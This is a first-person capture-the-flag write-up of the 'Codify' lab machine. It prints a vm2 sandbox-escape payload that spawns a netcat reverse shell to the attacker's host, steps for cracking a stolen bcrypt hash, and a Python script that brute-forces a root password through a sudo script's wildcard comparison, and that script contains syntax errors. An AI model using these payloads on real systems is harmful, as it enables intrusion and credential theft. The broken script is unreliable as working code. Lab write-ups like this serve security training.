Hi! Let’s go with nmap:

╭─ ~                                                                                      
╰─❯ nmap -sC -sV 10.10.11.239
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-29 10:52 MSK
Nmap scan report for 10.10.11.239 (10.10.11.239)
Host is up (0.055s latency).
Not shown: 836 closed tcp ports (conn-refused), 161 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.70 seconds

Added
10.10.11.239 codify.htb to hosts.

I assume that it’s apache revproxy, but let’s check port 80 and 3000 in browser.
ffuf found nothing interesting.

How I assumed port 80 is reverse proxy to port 3000, in real world configuration port 3000 should be blocked by firewall.

Untitled.avif

We have quite interesting web service that provides way to run nodejs code with some restrictions.

From about page I found that it uses vm2 library, and link to it points not to releases page, but to
3.9.16 release, so I assume it uses vm2 3.9.16

Searched web for CVEs in vm2.

  • Found CVE-2023-29199, but it was patched in 3.9.16 which I assume is our version.

  • Found CVE-2023-30547, it was patched in 3.9.17

  • Found CVE-2023-37466, it was patched in 3.9.19

I’ll search exploits for this two CVEs

Found this:

First I’ll try exploit from gist, it seems easier to use.

../../images/Untitled.png

It works! Let’s put revshell there and run listener.

nc -lvnp 4444

const { VM } = require("vm2");
const vm = new VM();
 
const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.32 4444 >/tmp/f").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;
 
console.log(vm.run(code)); // -> hacked

And we got shell!

svc@codify:~$ ls -Fla
 
total 32
drwxr-x--- 4 svc    svc    4096 Sep 26 10:00 ./
drwxr-xr-x 4 joshua joshua 4096 Sep 12 17:10 ../
lrwxrwxrwx 1 svc    svc       9 Sep 14 03:28 .bash_history -> /dev/null
-rw-r--r-- 1 svc    svc     220 Sep 12 17:10 .bash_logout
-rw-r--r-- 1 svc    svc    3771 Sep 12 17:10 .bashrc
drwx------ 2 svc    svc    4096 Sep 12 17:13 .cache/
drwxrwxr-x 5 svc    svc    4096 Feb 29 05:01 .pm2/
-rw-r--r-- 1 svc    svc     807 Sep 12 17:10 .profile
-rw-r--r-- 1 svc    svc      39 Sep 26 10:00 .vimrc

There is .pm2 folder so pm2 might be helpful.

svc@codify:~$ pm2 status
pm2 status
┌────┬──────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name     │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├────┼──────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0  │ index    │ default     │ N/A     │ cluster │ 1308     │ 3h     │ 0    │ online    │ 0%       │ 69.5mb   │ svc      │ disabled │
│ 1  │ index    │ default     │ N/A     │ cluster │ 2153     │ 5m     │ 1    │ online    │ 0%       │ 57.4mb   │ svc      │ disabled │
│ 2  │ index    │ default     │ N/A     │ cluster │ 2125     │ 10m    │ 1    │ online    │ 0%       │ 57.9mb   │ svc      │ disabled │
│ 3  │ index    │ default     │ N/A     │ cluster │ 1345     │ 3h     │ 0    │ online    │ 0%       │ 74.8mb   │ svc      │ disabled │
│ 4  │ index    │ default     │ N/A     │ cluster │ 2112     │ 10m    │ 1    │ online    │ 0%       │ 58.4mb   │ svc      │ disabled │
│ 5  │ index    │ default     │ N/A     │ cluster │ 2165     │ 5m     │ 1    │ online    │ 0%       │ 57.2mb   │ svc      │ disabled │
│ 6  │ index    │ default     │ N/A     │ cluster │ 2141     │ 5m     │ 1    │ online    │ 0%       │ 57.7mb   │ svc      │ disabled │
│ 7  │ index    │ default     │ N/A     │ cluster │ 1488     │ 3h     │ 0    │ online    │ 0%       │ 69.1mb   │ svc      │ disabled │
│ 8  │ index    │ default     │ N/A     │ cluster │ 1520     │ 3h     │ 0    │ online    │ 0%       │ 70.8mb   │ svc      │ disabled │
│ 9  │ index    │ default     │ N/A     │ cluster │ 1543     │ 3h     │ 0    │ online    │ 0%       │ 71.6mb   │ svc      │ disabled │
└────┴──────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
 
svc@codify:~$ pm2 describe 0
 
 Describing process with id 0 - name index
┌───────────────────┬───────────────────────────────────────┐
│ status            │ online                                │
│ name              │ index                                 │
│ namespace         │ default                               │
│ version           │ N/A                                   │
│ restarts          │ 0                                     │
│ uptime            │ 3h                                    │
│ script path       │ /var/www/editor/index.js              │
│ script args       │ N/A                                   │
│ error log path    │ /home/svc/.pm2/logs/index-error-0.log │
│ out log path      │ /home/svc/.pm2/logs/index-out-0.log   │
│ pid path          │ /home/svc/.pm2/pids/index-0.pid       │
│ interpreter       │ node                                  │
│ interpreter args  │ N/A                                   │
│ script id         │ 0                                     │
│ exec cwd          │ /home/svc                             │
│ exec mode         │ cluster_mode                          │
│ node.js version   │ 18.17.1                               │
│ node env          │ N/A                                   │
│ watch & reload    │ ✘                                     │
│ unstable restarts │ 0                                     │
│ created at        │ 2023-09-12T17:19:27.612Z              │
└───────────────────┴───────────────────────────────────────┘

I checked all of them, all just run
/var/www/editor/index.js

While investigating machine I found

  • /opt/scripts/mysql-backup.sh

svc@codify:/opt$ cat /opt/scripts/mysql-backup.sh
 
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
 
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
 
if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
 
/usr/bin/mkdir -p "$BACKUP_DIR"
 
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
 
for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
 
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
  • /var/www/contact

Looking into /var/www/contact/index.js I found that it saves creds to /var/www/contact/tickets.db

I ran python3 -m http.server and downloaded it on my machine

wget 10.10.11.239:8000/tickets.db

  • Also I wanted to check /var/backups/mysql but no permission.

Returning to db file:

So i ran
sqlite3 tickets.db

sqlite> .tables
tickets  users
sqlite> select * from users;
3|joshua|$2<REDACTED>

That’s hash! let’s crack it with hashcat

echo -n '$2<REDACTED>' > hash

Looking thru
example hashes I found it’s 28400 bcrypt(sha512($pass)) / bcryptsha512

hashcat.exe -m28400 hash /usr/share/wordlists/rockyou.txt

It can’t crack it. I don’t really like it. Maybe let’s try john?

Untitled-1.avif

It did work… Why? Possibly I made something wrong with hashcat…

We login thru ssh.

joshua@codify:~$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
joshua@codify:~$ ls
user.txt
joshua@codify:~$ cat user.txt
<REDACTED>
joshua@codify:~$

Let’s start privesc:

joshua@codify:/$ sudo -l
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

So we can run that script that I’ve seen before with sudo. Let’s view it again.

joshua@codify:/$ cat /opt/scripts/mysql-backup.sh
 
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
 
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
 
if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
 
/usr/bin/mkdir -p "$BACKUP_DIR"
 
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
 
for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
 
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

So we can just bruteforce password with a basic script:

import subprocess
symbs = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
pass = ""
broken = false
while not donesearching:
    for i in symbs:
        broken = false
        commd = f"echo '{pass}{i}*' | sudo /opt/scripts/mysql-backup.sh"
        check = subprocess.run(commd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
 
        if "confirmed!" in check:
            pass += i
            broken = true
            print(pass)
            break
    if not broken:
        donesearching = True

Got password with it!

../../images/Untitled 1.png

Pwned!